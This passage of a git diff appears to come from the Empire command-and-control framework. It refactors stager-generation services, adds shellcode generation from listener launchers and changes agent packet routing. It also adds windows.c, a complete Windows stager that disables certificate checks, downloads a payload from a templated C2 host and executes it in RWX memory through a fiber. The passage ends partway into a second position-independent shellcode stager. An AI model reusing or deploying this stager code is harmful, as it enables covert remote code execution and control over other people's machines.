self.download_service = main_menu.downloadsv2 self.loaded_plugins = {} - self.plugin_path = Path(self.main_menu.installPath) / "plugins/" + self.plugin_path = self.main_menu.install_path / "plugins" self.marketplace_path = config_manager.DATA_DIR / "plugins" / "marketplace" self.marketplace_path.mkdir(parents=True, exist_ok=True) @@ -104,7 +104,7 @@ def auto_execute_plugins(self, db): continue req = PluginExecutePostRequest(options=auto_execute.options) - results, err = self.execute_plugin(db, plugin, req, None) + results, _err = self.execute_plugin(db, plugin, req, None) if results is False: log.error(f"Plugin failed to run: {plugin_name}") else: @@ -205,7 +205,9 @@ def install_plugin_from_tar( version_name: str | None = None, registry_data: dict | None = None, ): - temp_dir = Path(tempfile.gettempdir()) / tar_url.split("/")[-1].split(".")[0] + temp_dir = ( + Path(tempfile.gettempdir()) / Path(tar_url.rsplit("/", maxsplit=1)[-1]).stem + ) response = s.get(tar_url, stream=True) diff --git a/empire/server/core/plugin_task_service.py b/empire/server/core/plugin_task_service.py index c4f084f39..101d71c73 100644 --- a/empire/server/core/plugin_task_service.py +++ b/empire/server/core/plugin_task_service.py @@ -103,7 +103,7 @@ def get_tasks( # noqa: PLR0913 PLR0912 results = query.all() - total = 0 if len(results) == 0 else results[0].total + total = 0 if not results else results[0].total results = [x[0] for x in results] return results, total diff --git a/empire/server/core/plugins.py b/empire/server/core/plugins.py index eacd80de3..a7fa96c70 100644 --- a/empire/server/core/plugins.py +++ b/empire/server/core/plugins.py @@ -26,6 +26,8 @@ def __init__(self, main_menu, plugin_info: PluginInfo, db: "SessionLocal"): self.enabled: bool = False self.execution_enabled: bool = True + # TODO(empire-7): Change type to Path (self.main_menu.install_path). + # Kept as str for backwards compatibility with third-party plugins. self.install_path: str = self.main_menu.installPath self.execution_options: dict = {} self.settings_options: dict = {} @@ -35,24 +37,16 @@ def __init__(self, main_menu, plugin_info: PluginInfo, db: "SessionLocal"): def _set_options_defaults(self): for value in self.execution_options.values(): - if value.get("SuggestedValues") is None: - value["SuggestedValues"] = [] - if value.get("Strict") is None: - value["Strict"] = False - if value.get("Internal") is None: - value["Internal"] = False - if value.get("Depends_on") is None: - value["Depends_on"] = [] + value.setdefault("SuggestedValues", []) + value.setdefault("Strict", False) + value.setdefault("Internal", False) + value.setdefault("Depends_on", []) for value in self.settings_options.values(): - if value.get("SuggestedValues") is None: - value["SuggestedValues"] = [] - if value.get("Strict") is None: - value["Strict"] = False - if value.get("Internal") is None: - value["Internal"] = False - if value.get("Depends_on") is None: - value["Depends_on"] = [] + value.setdefault("SuggestedValues", []) + value.setdefault("Strict", False) + value.setdefault("Internal", False) + value.setdefault("Depends_on", []) def set_initial_options(self, db): """ diff --git a/empire/server/core/profile_service.py b/empire/server/core/profile_service.py index f2188f4cc..c4c33909e 100644 --- a/empire/server/core/profile_service.py +++ b/empire/server/core/profile_service.py @@ -1,7 +1,6 @@ import fnmatch import logging import typing -from pathlib import Path from sqlalchemy.orm import Session @@ -25,7 +24,7 @@ def load_malleable_profiles(self, db: Session): """ Load Malleable C2 Profiles to the database """ - malleable_path = Path(self.main_menu.installPath) / "data/profiles/" + malleable_path = self.main_menu.install_path / "data/profiles" log.info(f"v2: Loading malleable profiles from: {malleable_path}") for file_path in malleable_path.rglob("*.profile"): diff --git a/empire/server/core/stager_generation_service.py b/empire/server/core/stager_generation_service.py index 05d0ed29b..b19fc2923 100755 --- a/empire/server/core/stager_generation_service.py +++ b/empire/server/core/stager_generation_service.py @@ -1,9 +1,8 @@ import base64 -import errno import logging -import os import random import shutil +import subprocess import typing from itertools import cycle from pathlib import Path @@ -25,6 +24,14 @@ log = logging.getLogger(__name__) +_ARCH_MAP = {"x86": 1, "x64": 2, "both": 3} + + +def _resolve_arch(arch: str) -> int: + if arch not in _ARCH_MAP: + raise ValueError(f"Unsupported arch: {arch}") + return _ARCH_MAP[arch] + class StagerGenerationService: def __init__(self, main_menu: "MainMenu"): @@ -112,34 +119,28 @@ def generate_dll(self, posh_code, arch): """ # read in original DLL and patch the bytes based on arch - if arch.lower() == "x86": - origPath = ( - f"{self.main_menu.installPath}/data/misc/ReflectivePick_x86_orig.dll" - ) - else: - origPath = ( - f"{self.main_menu.installPath}/data/misc/ReflectivePick_x64_orig.dll" - ) + arch_suffix = "x86" if arch.lower() == "x86" else "x64" + orig_path = ( + self.main_menu.install_path + / f"data/misc/ReflectivePick_{arch_suffix}_orig.dll" + ) - if os.path.isfile(origPath): - dllRaw = "" - with open(origPath, "rb") as f: - dllRaw = f.read() + if orig_path.is_file(): + dllRaw = orig_path.read_bytes() - replacementCode = helpers.decode_base64(posh_code) + replacementCode = helpers.decode_base64(posh_code) - # patch the dll with the new PowerShell code - searchString = (("Invoke-Replace").encode("UTF-16"))[2:] - index = dllRaw.find(searchString) - return ( - dllRaw[:index] - + replacementCode - + dllRaw[(index + len(replacementCode)) :] - ) + # patch the dll with the new PowerShell code + searchString = (("Invoke-Replace").encode("UTF-16"))[2:] + index = dllRaw.find(searchString) + return ( + dllRaw[:index] + + replacementCode + + dllRaw[(index + len(replacementCode)) :] + ) - else: - log.error(f"Original .dll for arch {arch} does not exist!") - return None + log.error(f"Original .dll for arch {arch} does not exist!") + return None def generate_powershell_exe( self, posh_code, dot_net_version="net40", obfuscate=False @@ -147,15 +148,14 @@ def generate_powershell_exe( """ Generate powershell launcher embedded in csharp """ - with open(self.main_menu.installPath + "/stagers/CSharpPS.yaml", "rb") as f: - stager_yaml = f.read() - stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = (self.main_menu.install_path / "stagers/CSharpPS.yaml").read_text( + encoding="utf-8" + ) # Write text file to resources to be embedded - with open( - self.dotnet_compiler.compiler_dir / "Data/EmbeddedResources/launcher.txt", - "w", - ) as f: + with ( + self.dotnet_compiler.compiler_dir / "Data/EmbeddedResources/launcher.txt" + ).open("w") as f: f.write(posh_code) return self.dotnet_compiler.compile_stager( @@ -168,12 +168,7 @@ def generate_powershell_shellcode( """ Generate powershell shellcode using donut python module """ - if arch == "x86": - arch_type = 1 - elif arch == "x64": - arch_type = 2 - elif arch == "both": - arch_type = 3 + arch_type = _resolve_arch(arch) directory = self.generate_powershell_exe(posh_code, dot_net_version) @@ -320,17 +315,16 @@ def generate_python_exe( """ Generate ironpython launcher embedded in csharp """ - with open(self.main_menu.installPath + "/stagers/CSharpPy.yaml", "rb") as f: - stager_yaml = f.read() - stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = (self.main_menu.install_path / "stagers/CSharpPy.yaml").read_text( + encoding="utf-8" + ) # Write text file to resources to be embedded # This file is problematic because multiple runs # can overwrite the file and cause issues. - with open( - self.dotnet_compiler.compiler_dir / "Data/EmbeddedResources/launcher.txt", - "w", - ) as f: + with ( + self.dotnet_compiler.compiler_dir / "Data/EmbeddedResources/launcher.txt" + ).open("w") as f: f.write(python_code) return self.dotnet_compiler.compile_stager( @@ -343,12 +337,7 @@ def generate_python_shellcode( """ Generate ironpython shellcode using donut python module """ - if arch == "x86": - arch_type = 1 - elif arch == "x64": - arch_type = 2 - elif arch == "both": - arch_type = 3 + arch_type = _resolve_arch(arch) if not donut: err = "module donut-shellcode not installed. It is only supported on x86." @@ -359,14 +348,104 @@ def generate_python_shellcode( shellcode = donut.create(file=str(directory), arch=arch_type) return shellcode, None + def generate_csharp_shellcode( + self, + listener_name, + arch="both", + dot_net_version="net40", + obfuscate=False, + obfuscation_command="", + ) -> tuple[str | None, str | None]: + """ + Generate C# shellcode using donut python module + """ + arch_type = _resolve_arch(arch) + + if not donut: + err = "module donut-shellcode not installed." + log.warning(err, exc_info=True) + return None, err + + with SessionLocal.begin() as db: + db_listener = self.listener_service.get_by_name(db, listener_name) + active_listener = self.listener_service.get_active_listener(db_listener.id) + + if not active_listener: + return None, f"Listener {listener_name} not found" + + # Generate the C# EXE path + exe_path = active_listener.generate_launcher( + language="csharp", + encode=False, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + listener_name=listener_name, + ) + + if not exe_path: + return None, "Failed to generate C# EXE for shellcode" + + # Create shellcode from the EXE + shellcode = donut.create(file=str(exe_path), arch=arch_type) + return shellcode, None + + def generate_shellcode( # noqa: PLR0913 + self, + language, + listener_name, + obfuscate=False, + obfuscation_command="", + arch="both", + dot_net_version="net40", + ): + """ + Generate shellcode for the given language by delegating to the + appropriate language-specific method. + """ + lang = language.lower() + + if lang == "csharp": + return self.generate_csharp_shellcode( + listener_name, arch, dot_net_version, obfuscate, obfuscation_command + ) + + with SessionLocal.begin() as db: + db_listener = self.listener_service.get_by_name(db, listener_name) + active_listener = self.listener_service.get_active_listener(db_listener.id) + + if not active_listener: + return None, f"Listener {listener_name} not found" + + launcher_code = active_listener.generate_launcher( + language=language, + encode=False, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + listener_name=listener_name, + ) + + if not launcher_code: + return None, "Failed to generate launcher code" + + if lang == "powershell": + return self.generate_powershell_shellcode( + launcher_code, arch=arch, dot_net_version=dot_net_version + ) + + if lang in ("python", "ironpython"): + return self.generate_python_shellcode( + launcher_code, arch=arch, dot_net_version=dot_net_version + ) + + return None, f"Shellcode generation not supported for language: {language}" + def generate_macho(self, launcher_code): """ Generates a macho binary with an embedded python interpreter that runs the launcher code. """ MH_EXECUTE = 2 - # with open(self.installPath + "/data/misc/machotemplate", 'rb') as f: - with open(f"{self.main_menu.installPath}/data/misc/machotemplate", "rb") as f: + with (self.main_menu.install_path / "data/misc/machotemplate").open("rb") as f: macho = macholib.MachO.MachO(f.name) if int(macho.headers[0].header.filetype) != MH_EXECUTE: @@ -412,17 +491,18 @@ def generate_dylib(self, launcher_code, arch, hijacker): # noqa: PLR0912 Generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application. """ MH_DYLIB = 6 + misc_dir = self.main_menu.install_path / "data/misc" if hijacker.lower() == "true": if arch == "x86": - f = f"{self.main_menu.installPath}/data/misc/hijackers/template.dylib" + dylib_path = misc_dir / "hijackers/template.dylib" else: - f = f"{self.main_menu.installPath}/data/misc/hijackers/template64.dylib" + dylib_path = misc_dir / "hijackers/template64.dylib" elif arch == "x86": - f = f"{self.main_menu.installPath}/data/misc/templateLauncher.dylib" + dylib_path = misc_dir / "templateLauncher.dylib" else: - f = f"{self.main_menu.installPath}/data/misc/templateLauncher64.dylib" + dylib_path = misc_dir / "templateLauncher64.dylib" - with open(f, "rb") as f: + with dylib_path.open("rb") as f: macho = macholib.MachO.MachO(f.name) if int(macho.headers[0].header.filetype) != MH_DYLIB: @@ -477,26 +557,14 @@ def generate_appbundle( # noqa: PLR0915, PLR0912 """ MH_EXECUTE = 2 + app_res = self.main_menu.install_path / "data/misc/apptemplateResources" if arch == "x64": - f = ( - self.main_menu.installPath - + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher" - ) - directory = ( - self.main_menu.installPath - + "/data/misc/apptemplateResources/x64/launcher.app/" - ) + app_dir = app_res / "x64/launcher.app" else: - f = ( - self.main_menu.installPath - + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher" - ) - directory = ( - self.main_menu.installPath - + "/data/misc/apptemplateResources/x86/launcher.app/" - ) + app_dir = app_res / "x86/launcher.app" + launcher_binary = app_dir / "Contents/MacOS/launcher" - with open(f, "rb") as f: + with launcher_binary.open("rb") as f: macho = macholib.MachO.MachO(f.name) if int(macho.headers[0].header.filetype) != MH_EXECUTE: @@ -531,32 +599,25 @@ def generate_appbundle( # noqa: PLR0915, PLR0912 patched_binary = ( template[:offset] + launcher + template[(offset + len(launcher)) :] ) - if app_name == "": + if not app_name: app_name = "launcher" - tmpdir = f"/tmp/application/{app_name}.app/" - shutil.copytree(directory, tmpdir) - with open(tmpdir + "Contents/MacOS/launcher", "wb") as f: + tmpdir = Path(f"/tmp/application/{app_name}.app") + shutil.copytree(app_dir, tmpdir) + macos_dir = tmpdir / "Contents/MacOS" + with (macos_dir / "launcher").open("wb") as f: if disarm is not True: f.write(patched_binary) else: - t = ( - self.main_menu.installPath - + "/data/misc/apptemplateResources/empty/macho" - ) - with open(t, "rb") as t: - w = t.read() - f.write(w) - - os.rename( - tmpdir + "Contents/MacOS/launcher", - tmpdir + f"Contents/MacOS/{app_name}", - ) - os.chmod(tmpdir + f"Contents/MacOS/{app_name}", 0o755) + empty_macho = app_res / "empty/macho" + f.write(empty_macho.read_bytes()) + + (macos_dir / "launcher").rename(macos_dir / app_name) + (macos_dir / app_name).chmod(0o755) - if icon != "": - iconfile = os.path.splitext(icon)[0].split("/")[-1] - shutil.copy2(icon, tmpdir + "Contents/Resources/" + iconfile + ".icns") + if icon: + iconfile = Path(icon).stem + shutil.copy2(icon, tmpdir / "Contents/Resources" / f"{iconfile}.icns") else: iconfile = icon appPlist = f""" @@ -618,56 +679,45 @@ def generate_appbundle( # noqa: PLR0915, PLR0912 """ - with open(tmpdir + "Contents/Info.plist", "w") as f: - f.write(appPlist) + (tmpdir / "Contents/Info.plist").write_text(appPlist) shutil.make_archive("/tmp/launcher", "zip", "/tmp/application") shutil.rmtree("/tmp/application") - with open("/tmp/launcher.zip", "rb") as f: - zipbundle = f.read() - os.remove("/tmp/launcher.zip") + launcher_zip = Path("/tmp/launcher.zip") + zipbundle = launcher_zip.read_bytes() + launcher_zip.unlink() return zipbundle log.error("Unable to patch application") return None def generate_jar(self, launcher_code): - with open(self.main_menu.installPath + "/data/misc/Run.java") as f: - javacode = f.read() - javacode = javacode.replace("LAUNCHER", launcher_code) - jarpath = self.main_menu.installPath + "/data/misc/classes/com/installer/apple/" - try: - os.makedirs(jarpath) - except OSError as e: - if e.errno != errno.EEXIST: - raise - - with open(jarpath + "Run.java", "w") as f: - f.write(javacode) - os.system( - "javac " - + self.main_menu.installPath - + "/data/misc/classes/com/installer/apple/Run.java" - ) - os.system( - "jar -cfe " - + self.main_menu.installPath - + "/data/misc/Run.jar com.installer.apple.Run " - + self.main_menu.installPath - + "/data/misc/classes/com/installer/apple/Run.class" + install_path = self.main_menu.install_path + java_template = install_path / "data/misc/Run.java" + javacode = java_template.read_text(encoding="utf-8").replace( + "LAUNCHER", launcher_code ) - os.remove( - self.main_menu.installPath - + "/data/misc/classes/com/installer/apple/Run.class" - ) - os.remove( - self.main_menu.installPath - + "/data/misc/classes/com/installer/apple/Run.java" + + jarpath = install_path / "data/misc/classes/com/installer/apple" + jarpath.mkdir(parents=True, exist_ok=True) + + java_file = jarpath / "Run.java" + class_file = jarpath / "Run.class" + jar_file = install_path / "data/misc/Run.jar" + + java_file.write_text(javacode, encoding="utf-8") + subprocess.run(["javac", str(java_file)], check=True) + subprocess.run( + ["jar", "-cfe", str(jar_file), "com.installer.apple.Run", str(class_file)], + check=True, ) - with open(self.main_menu.installPath + "/data/misc/Run.jar", "rb") as jarfile: - jar = jarfile.read() - os.remove(self.main_menu.installPath + "/data/misc/Run.jar") + + class_file.unlink() + java_file.unlink() + + jar = jar_file.read_bytes() + jar_file.unlink() return jar diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py index 4bbb21e83..1c9b0a845 100644 --- a/empire/server/core/stager_service.py +++ b/empire/server/core/stager_service.py @@ -98,14 +98,14 @@ def create_stager(self, db: Session, stager_req, save: bool, user_id: int): name=stager_req.name, module=stager_req.template, options=stager_options, - one_liner=stager_options.get("OutFile", "") == "", + one_liner=not stager_options.get("OutFile", ""), user_id=user_id, ) download = models.Download( - location=generated, - filename=generated.split("/")[-1], - size=Path(generated).stat().st_size, + location=str(generated), + filename=generated.name, + size=generated.stat().st_size, ) db.add(download) db.flush() @@ -143,9 +143,9 @@ def update_stager(self, db: Session, db_stager: models.Stager, stager_req): db_stager.options = stager_options download = models.Download( - location=generated, - filename=generated.split("/")[-1], - size=Path(generated).stat().st_size, + location=str(generated), + filename=generated.name, + size=generated.stat().st_size, ) db.add(download) db.flush() @@ -158,14 +158,11 @@ def generate_stager(self, template_instance): # todo generate should return error response much like listener validate # options should. - if resp == "" or resp is None: + if not resp: return None, "Error generating" out_file = template_instance.options.get("OutFile", {}).get("Value") - if out_file and len(out_file) > 0: - file_name = template_instance.options["OutFile"]["Value"].split("/")[-1] - else: - file_name = f"{uuid.uuid4()}.txt" + file_name = Path(out_file).name if out_file else f"{uuid.uuid4()}.txt" file_name = ( empire_config.directories.downloads / "generated-stagers" / file_name @@ -175,7 +172,7 @@ def generate_stager(self, template_instance): with file_name.open(mode) as f: f.write(resp) - return str(file_name), None + return file_name, None @staticmethod def delete_stager(db: Session, stager: models.Stager): diff --git a/empire/server/core/stager_template_service.py b/empire/server/core/stager_template_service.py index 9b9a20cbb..a67fd0c33 100644 --- a/empire/server/core/stager_template_service.py +++ b/empire/server/core/stager_template_service.py @@ -2,7 +2,6 @@ import importlib.util import logging import typing -from pathlib import Path from sqlalchemy.orm import Session @@ -53,7 +52,7 @@ def _load_stagers(self, db: Session): """ Load stagers from the install + "/stagers/*" path """ - root_path = Path(self.main_menu.installPath) / "stagers" + root_path = self.main_menu.install_path / "stagers" log.info(f"v2: Loading stager templates from: {root_path}") for file_path in root_path.rglob("*.py"): diff --git a/empire/server/core/tag_service.py b/empire/server/core/tag_service.py index 28f460f22..10cdac44c 100644 --- a/empire/server/core/tag_service.py +++ b/empire/server/core/tag_service.py @@ -60,7 +60,7 @@ def get_all( # noqa: PLR0913 PLR0912 sub.append(db.query(models.credential_tag_assc.c.tag_id.label("tag_id"))) subquery = None - if len(sub) > 0: + if sub: subquery = sub[0] if len(sub) > 1: subquery = subquery.union(*sub[1:]) @@ -93,7 +93,7 @@ def get_all( # noqa: PLR0913 PLR0912 results = query.all() - total = 0 if len(results) == 0 else results[0].total + total = 0 if not results else results[0].total results = [x[0] for x in results] return results, total diff --git a/empire/server/data/agent/gopire/agent/agent.go b/empire/server/data/agent/gopire/agent/agent.go index 5eea742ca..298c63e9a 100644 --- a/empire/server/data/agent/gopire/agent/agent.go +++ b/empire/server/data/agent/gopire/agent/agent.go @@ -81,11 +81,11 @@ func (ma *MainAgent) SendJobMessageBuffer() { func (ma *MainAgent) preparepacket(packets []byte) ([]byte, error) { if packets != nil { encData := common.AesEncryptThenHMAC(ma.PacketHandler.Aeskey, packets) - routingPacket := ma.PacketHandler.BuildRoutingPacket(ma.PacketHandler.StagingKey, ma.sessionID, 5, encData) + routingPacket := ma.PacketHandler.BuildRoutingPacket(ma.PacketHandler.StagingKey, ma.sessionID, 5, 0, encData) data, err := ma.MessageSender.SendMessage(routingPacket) return data, err } else { - routingPacket := ma.PacketHandler.BuildRoutingPacket(ma.PacketHandler.StagingKey, ma.sessionID, 4, nil) + routingPacket := ma.PacketHandler.BuildRoutingPacket(ma.PacketHandler.StagingKey, ma.sessionID, 4, 0, nil) data, err := ma.MessageSender.SendMessage(routingPacket) return data, err } diff --git a/empire/server/data/agent/gopire/comms/dh.go b/empire/server/data/agent/gopire/comms/dh.go index 485f466e3..e421efb2c 100644 --- a/empire/server/data/agent/gopire/comms/dh.go +++ b/empire/server/data/agent/gopire/comms/dh.go @@ -100,7 +100,7 @@ func PerformDHKeyExchange(server string, sessionID string, stagingKey []byte, ag message := append(clientPubBytes, agentCert...) packetHandler := PacketHandler{} encData := common.AesEncryptThenHMAC(stagingKey, message) // Encrypt with stagingKey - routingPacket := packetHandler.BuildRoutingPacket(stagingKey, sessionID, 2, encData) + routingPacket := packetHandler.BuildRoutingPacket(stagingKey, sessionID, 2, 0, encData) // Send DH key exchange request postURL := server + "/stage1" diff --git a/empire/server/data/agent/gopire/comms/packet_handler.go b/empire/server/data/agent/gopire/comms/packet_handler.go index d8ff980e0..d8b92ffed 100644 --- a/empire/server/data/agent/gopire/comms/packet_handler.go +++ b/empire/server/data/agent/gopire/comms/packet_handler.go @@ -134,12 +134,12 @@ func (ph PacketHandler) BuildResponsePacket(taskingID int, packetData string, re | 8 | 1 | 1 | 2 | 4 | +-----------+------+------+-------+--------+ */ -func (ph PacketHandler) BuildRoutingPacket(stagingKey []byte, sessionID string, meta int, encData []byte) []byte { +func (ph PacketHandler) BuildRoutingPacket(stagingKey []byte, sessionID string, meta int, additional uint16, encData []byte) []byte { buf := new(bytes.Buffer) buf.WriteString(sessionID) // 8 bytes - SessionID binary.Write(buf, binary.LittleEndian, uint8(4)) // 1 byte - Lang binary.Write(buf, binary.LittleEndian, uint8(meta)) // 1 byte - Meta - binary.Write(buf, binary.LittleEndian, uint16(0)) // 2 bytes - Extra + binary.Write(buf, binary.LittleEndian, uint16(additional)) // 2 bytes - Extra binary.Write(buf, binary.LittleEndian, uint32(len(encData))) // 4 bytes - Length data := buf.Bytes() diff --git a/empire/server/data/agent/gopire/main.template b/empire/server/data/agent/gopire/main.template index 1f523b44f..55be2171f 100644 --- a/empire/server/data/agent/gopire/main.template +++ b/empire/server/data/agent/gopire/main.template @@ -164,7 +164,7 @@ func main() { encryptedSysInfo := common.AesEncryptThenHMAC(sessionKey, sysInfoBytes) // Build and send routing packet for Stage 2 - routingPacket := packetHandler.BuildRoutingPacket(stagingKey, sessionID, 3, encryptedSysInfo) + routingPacket := packetHandler.BuildRoutingPacket(stagingKey, sessionID, 3, 0, encryptedSysInfo) postURL := server + "/stage2" _, _ = http.Post(postURL, "application/octet-stream", bytes.NewReader(routingPacket)) diff --git a/empire/server/data/misc/pic_shellcode.ld b/empire/server/data/misc/pic_shellcode.ld new file mode 100644 index 000000000..5e2d894da --- /dev/null +++ b/empire/server/data/misc/pic_shellcode.ld @@ -0,0 +1,23 @@ +/* + * Linker script for PIC shellcode compilation. + * Merges all sections into .text so that objcopy -O binary -j .text + * extracts a complete flat binary with no dangling RIP-relative + * references to stripped .rdata/.data/.bss sections. + * + * Without this, GCC -Os optimizes local array initializers by storing + * constant values in .rdata and generating memcpy-style init sequences. + * After .text-only extraction those RIP-relative loads point to + * unmapped memory -> AccessViolation. + */ +SECTIONS { + .text : { + *(.text) + *(.text.*) + *(.rdata) + *(.rdata.*) + *(.data) + *(.data.*) + *(.bss) + *(.bss.*) + } +} diff --git a/empire/server/data/misc/windows.c b/empire/server/data/misc/windows.c new file mode 100644 index 000000000..c3b6d0394 --- /dev/null +++ b/empire/server/data/misc/windows.c @@ -0,0 +1,245 @@ +#define _WIN32_WINNT 0x0501 + +#define UNICODE +#define _UNICODE +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") +#pragma comment(lib, "bcrypt.lib") +#pragma comment(lib, "shell32.lib") + +static void PrintLastError(const wchar_t* where); +static BOOL DownloadHostPathToBuffer( + const wchar_t* host, + WORD port, + const wchar_t* path, + BOOL useHttps, + const wchar_t* cookieHeaderValue, + BYTE** outBuf, + DWORD* outLen +); + +static BOOL ExecuteShellcode(const BYTE* data, DWORD len); +static void PrintLastError(const wchar_t* where) +{ + DWORD err = GetLastError(); +} + +static BOOL DownloadHostPathToBuffer( + const wchar_t* host, + WORD port, + const wchar_t* path, + BOOL useHttps, + const wchar_t* cookieHeaderValue, + BYTE** outBuf, + DWORD* outLen +) { + BOOL ok = FALSE; + *outBuf = NULL; + *outLen = 0; + + HINTERNET hSession = WinHttpOpen(L"WinHTTP Downloader/1.0", + WINHTTP_ACCESS_TYPE_NO_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + if (!hSession) { PrintLastError(L"WinHttpOpen"); return FALSE; } + + HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0); + if (!hConnect) { + WinHttpCloseHandle(hSession); + return FALSE; + } + + DWORD flags = useHttps ? WINHTTP_FLAG_SECURE : 0; + + HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + flags); + if (!hRequest) { PrintLastError(L"WinHttpOpenRequest"); goto cleanup; } + + if (useHttps) { + // Allow staging over HTTPS with self-signed/private CA certs (common in Empire setups). + // This relaxes WinHTTP certificate validation for this request. + DWORD securityFlags = + SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + + if (!WinHttpSetOption(hRequest, + WINHTTP_OPTION_SECURITY_FLAGS, + &securityFlags, + sizeof(securityFlags))) { + PrintLastError(L"WinHttpSetOption(WINHTTP_OPTION_SECURITY_FLAGS)"); + goto cleanup; + } + } + + wchar_t headerLine[4096]; + swprintf(headerLine, 4096, L"Cookie: %ls\r\n", cookieHeaderValue); + + if (!WinHttpAddRequestHeaders(hRequest, headerLine, (DWORD)-1, + WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE)) { + goto cleanup; + } + + if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { + goto cleanup; + } + + if (!WinHttpReceiveResponse(hRequest, NULL)) { + goto cleanup; + } + + DWORD status = 0, statusSize = sizeof(status); + if (!WinHttpQueryHeaders(hRequest, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, + &status, &statusSize, WINHTTP_NO_HEADER_INDEX)) { + goto cleanup; + } + + if (status < 200 || status >= 300) { + wchar_t reason[256]; + DWORD reasonSize = sizeof(reason); + if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_TEXT, + WINHTTP_HEADER_NAME_BY_INDEX, + reason, &reasonSize, WINHTTP_NO_HEADER_INDEX)) { + } + goto cleanup; + } + + BYTE* buf = NULL; + DWORD cap = 0, len = 0; + + for (;;) { + DWORD avail = 0; + if (!WinHttpQueryDataAvailable(hRequest, &avail)) { + PrintLastError(L"WinHttpQueryDataAvailable"); + goto cleanup; + } + if (avail == 0) break; + + if (len + avail > cap) { + DWORD newCap = (cap == 0) ? (avail * 2) : (cap * 2); + while (newCap < len + avail) newCap *= 2; + + BYTE* nb = (BYTE*)realloc(buf, newCap); + if (!nb) { wprintf(L"[!] realloc failed\n"); goto cleanup; } + buf = nb; + cap = newCap; + } + + DWORD read = 0; + if (!WinHttpReadData(hRequest, buf + len, avail, &read)) { + PrintLastError(L"WinHttpReadData"); + goto cleanup; + } + len += read; + } + + *outBuf = buf; + *outLen = len; + ok = TRUE; + +cleanup: + if (!ok && buf) free(buf); + if (hRequest) WinHttpCloseHandle(hRequest); + WinHttpCloseHandle(hConnect); + WinHttpCloseHandle(hSession); + return ok; +} + +static BOOL ExecuteShellcode(const BYTE* data, DWORD len) +{ + // Allocate memory for shellcode + void* execMem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!execMem) { + PrintLastError(L"VirtualAlloc"); + return FALSE; + } + + // Copy shellcode + memcpy(execMem, data, len); + FlushInstructionCache(GetCurrentProcess(), execMem, len); + + // Convert current thread to fiber. We don't check for failure because if we're already a fiber, it's fine. + // If it fails for other reasons, CreateFiber will likely fail too or SwitchToFiber will crash. + void* mainFiber = ConvertThreadToFiber(NULL); + + // Create the fiber that will execute our shellcode + void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)execMem, NULL); + if (!shellcodeFiber) { + PrintLastError(L"CreateFiber"); + // Try to clean up if we converted to fiber? (Usually not necessary for main thread exit) + return FALSE; + } + + // Switch context to the shellcode. This will block this thread until/unless shellcode switches back. + SwitchToFiber(shellcodeFiber); + + DeleteFiber(shellcodeFiber); + return TRUE; +} + +int main(int argc, char **argv); // forward declaration +int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShowCmd) +{ + (void)hInst; (void)hPrev; (void)lpCmdLine; (void)nShowCmd; + + // Use standard Windows API to get argc/argv safely without CRT internal symbols + int argc = 0; + LPWSTR *argv_w = CommandLineToArgvW(GetCommandLineW(), &argc); + + // Convert wide argv to narrow argv for main compatibility + // Note: This is a simplified conversion for stager purposes. + char **argv = (char **)malloc(sizeof(char *) * (argc + 1)); + for (int i = 0; i < argc; i++) { + int len = WideCharToMultiByte(CP_UTF8, 0, argv_w[i], -1, NULL, 0, NULL, NULL); + argv[i] = (char *)malloc(len); + WideCharToMultiByte(CP_UTF8, 0, argv_w[i], -1, argv[i], len, NULL, NULL); + } + argv[argc] = NULL; + LocalFree(argv_w); + + int ret = main(argc, argv); + for (int i = 0; i < argc; i++) + free(argv[i]); + free(argv); + return ret; +} + +int main(int argc, char **argv) +{ + (void)argc; (void)argv; + + const wchar_t* host = L"{{ host }}"; + WORD port = {{ port }}; + const wchar_t* path = L"{{ staging_path }}"; + BOOL useHttps = {{ use_https }}; + + const wchar_t* cookie = + L"{{ cookie }}"; + + BYTE* data = NULL; + DWORD size = 0; + + if (!DownloadHostPathToBuffer(host, port, path, useHttps, cookie, &data, &size)) { + return 1; + } + + if (!ExecuteShellcode(data, size)) { + free(data); + return 1; + } + free(data); + + return 0; +} diff --git a/empire/server/data/misc/windows_shellcode.c b/empire/server/data/misc/windows_shellcode.c new file mode 100644 index 000000000..c2d2e1b6b --- /dev/null +++ b/empire/server/data/misc/windows_shellcode.c @@ -0,0 +1,439 @@ +/* + * PIC (Position-Independent Code) shellcode stager for Empire. + * Functionally equivalent to windows.c but compiled as raw shellcode + * for process injection via BOF modules. + * + * Compilation (handled by shellcode_compiler.py): + * x86_64-w64-mingw32-gcc -nostdlib -Os -s -fno-ident + * -fno-asynchronous-unwind-tables -fno-toplevel-reorder + * -Wl,--no-seh -Wl,-e,AlignRSP -o sc.exe sc.c + * x86_64-w64-mingw32-objcopy -O binary -j .text sc.exe sc.bin + * + * Function layout: AlignRSP must be the first function in this file. + * Compile with -fno-toplevel-reorder to preserve source order in 